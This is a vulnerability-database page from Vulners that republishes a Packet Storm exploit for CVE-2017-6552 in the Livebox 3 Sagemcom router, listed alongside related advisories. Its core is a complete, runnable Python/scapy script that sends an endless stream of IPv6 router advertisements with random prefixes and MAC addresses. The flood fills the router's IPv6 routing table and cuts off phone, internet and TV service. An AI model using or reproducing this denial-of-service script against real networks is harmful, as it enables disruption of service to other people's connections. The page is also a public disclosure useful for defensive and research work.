Lucene search
K

Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 Denial Of Service

🗓️ 09 Mar 2017 00:00:00Reported by Quentin OlagneType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 Denial Of Service exploit CVE-2017-6552 Local DoS Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service Exploit
9 Mar 201700:00
zdt
CVE
CVE-2017-6552
9 Mar 201709:26
cve
Cvelist
CVE-2017-6552
9 Mar 201709:26
cvelist
Exploit DB
Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service
9 Mar 201700:00
exploitdb
EUVD
EUVD-2017-15608
7 Oct 202500:30
euvd
exploitpack
Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service
9 Mar 201700:00
exploitpack
NVD
CVE-2017-6552
9 Mar 201709:59
nvd
Prion
Design/Logic Flaw
9 Mar 201709:59
prion
`#!/usr/bin/python  
  
# Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3  
# Date: 09/03/2017  
# Exploit Author: Quentin Olagne  
# Vendor Homepage: http://www.orange.fr/  
# Version: SG30_sip-fr-5.15.8.1  
# Tested on: Livebox 3 - Sagemcom  
# CVE : CVE-2017-6552  
  
'''  
Livebox router has its default IPv6 routing table max. size too  
small and therefore can be filled within minutes.   
An attacker can exploit this issue to render the affected system   
unresponsive, resulting in a denial-of-service condition for Phone,   
Internet and TV services.  
  
Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware.   
I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin   
livebox web UI, don't know if it's been implemented.   
  
'''  
  
from scapy.all import *  
import time  
import threading  
  
start_time = time.time()  
  
def printit():  
threading.Timer(5.0, printit).start()  
interval = time.time() - start_time  
print 'Total time in seconds:', interval, '\n'  
  
printit()  
  
packet = Ether() \  
/IPv6() \  
/ICMPv6ND_RA() \  
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \  
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42"))  
  
try:  
sendp(packet,loop=1)  
except KeyboardInterrupt:  
stored_exception=sys.exc_info()  
except:  
pass  
  
print "Goodbye"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2017 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.08398
41